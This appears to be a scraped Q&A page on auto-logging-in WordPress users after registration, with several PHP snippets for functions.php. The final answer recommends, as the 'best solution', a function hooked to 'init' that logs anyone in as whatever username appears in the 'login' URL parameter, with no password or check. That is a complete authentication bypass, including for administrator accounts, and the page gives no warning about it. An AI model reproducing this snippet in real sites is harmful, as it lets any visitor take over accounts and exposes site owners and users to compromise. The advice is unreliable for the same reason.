Autologin user after registration Wordpress

Add below function to functions.php file

 function auto_login_new_user( $user_id ) {        wp_set_current_user($user_id);        wp_set_auth_cookie($user_id);            // You can change home_url() to the specific URL,such as         //wp_redirect( 'http://www.wpcoke.com' );        wp_redirect( home_url() );        exit;    } add_action( 'user_register', 'auto_login_new_user' );

If you are using wp_insert_user(); to register your users then to auto-login them it's simple.This function returns the user ID if success, so use it to login that user.

$id = wp_insert_user($data);//so if the return is not an wp error object then continue with loginif(!is_wp_error($id)){    wp_set_current_user($id); // set the current wp user    wp_set_auth_cookie($id); // start the cookie for the current registered user}

but to follow what you have already it can be like this:

add_action( 'user_register', 'auto_login_user' );function auto_login_user($user_id) {    wp_set_current_user($user_id); // set the current wp user    wp_set_auth_cookie($user_id); // start the cookie for the current registered user}//this code is a bit tricky, if you are admin and you want to create a user then your admin session will be replaced with the new user you created :)

function auto_login() {            $getuserdata=get_user_by('login',$_GET['login']);            $tuserid=$getuserdata->ID;            $user_id = $tuserid;            $user = get_user_by( 'id', $user_id );            if( $user ) {                wp_set_current_user( $user_id, $user->user_login );                wp_set_auth_cookie( $user_id );                do_action( 'wp_login', $user->user_login );            }        }        add_action('init', 'auto_login');

i had have the same problem as your and found this best solution. try this in your functions.php file. and one thing more use submit your reset form in a function in functions.php file